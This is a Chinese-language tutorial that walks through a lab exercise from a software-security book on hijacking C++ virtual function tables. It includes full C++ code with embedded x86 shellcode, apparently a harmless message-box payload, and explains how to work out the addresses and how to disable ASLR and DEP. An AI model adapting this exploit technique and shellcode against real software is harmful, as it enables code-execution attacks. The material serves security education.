在《0day安全——软件安全分析》一书的6.3节提供了C++虚函数的攻击概念,本文为对应章节的具体实操。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
|
#include <iostream> #include "windows.h" #define _CRT_SECURE_NO_WARNINGS
using namespace std;
char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x64\xD3\x41\x00";
class Failwest { public: char buf[200]; virtual void test(void) { cout << "Class Vtable::test()" << endl; } };
Failwest overflow, * p;
void main(void) { char* p_vtable; p_vtable = overflow.buf - 4;
p_vtable[0] = 0x14; p_vtable[1] = 0xd4; p_vtable[2] = 0x41; p_vtable[3] = 0x00; strcpy(overflow.buf, shellcode);
p = &overflow; p->test(); }
|
了解了C++虚函数的调用过程之后,我们就明白了这个代码利用了栈中的缓冲区溢出,攻击流程为:修改虚表指针的内容,将其指向shellcode的首部或者尾部(这个时候shellcode 已经被复制到缓冲区中),这个代码给的是将 虚表指针指向buf缓冲区(shellcode)的尾部,然后再将虚表中 的虚函数指针指向shellcode的首部来执行代码,那么我们如何得到这个shellcode的地址?

因为C++的虚函数在调用的时候,程序会先通过虚表指针寻找虚函数的地址,这里虚函数的地址为修改 0x0041d414,然后再修改“虚函数”的地址指向shellcode,这里“虚函数”的实际入口地址为 shellcode的尾部的8字节地址0x0041d364。
还有一个问题是,visual studio2019 默认开启ASLR和DEP,我们需要在系统和编译选项中将其关闭,win10关闭ASLR比较容易,直接在设置里面就可以直接关闭,具体参见这篇文章:栈缓冲区溢出之二 ASLR ;然后在项目的选项中修改ASLR和DEP为disable即可(项目选项—>链接器—>高级)。

由于ASLR和DEP都已经关闭了,所以直接通过VS 的Debug —> Windows —> Watch (Autos)观看变量的地址。

这里得到overflow.buf的地址,我们要得到shellcode的末尾8字节的地址,就需要加上中间176个字节的shellcode字节码,即 0x0041d364+0XB0 = 0x0041d414,所以在p_vtable中填入这个地址。

最后,在这个过程中,我直接修改虚表指针指向buf的首地址为什么不可以?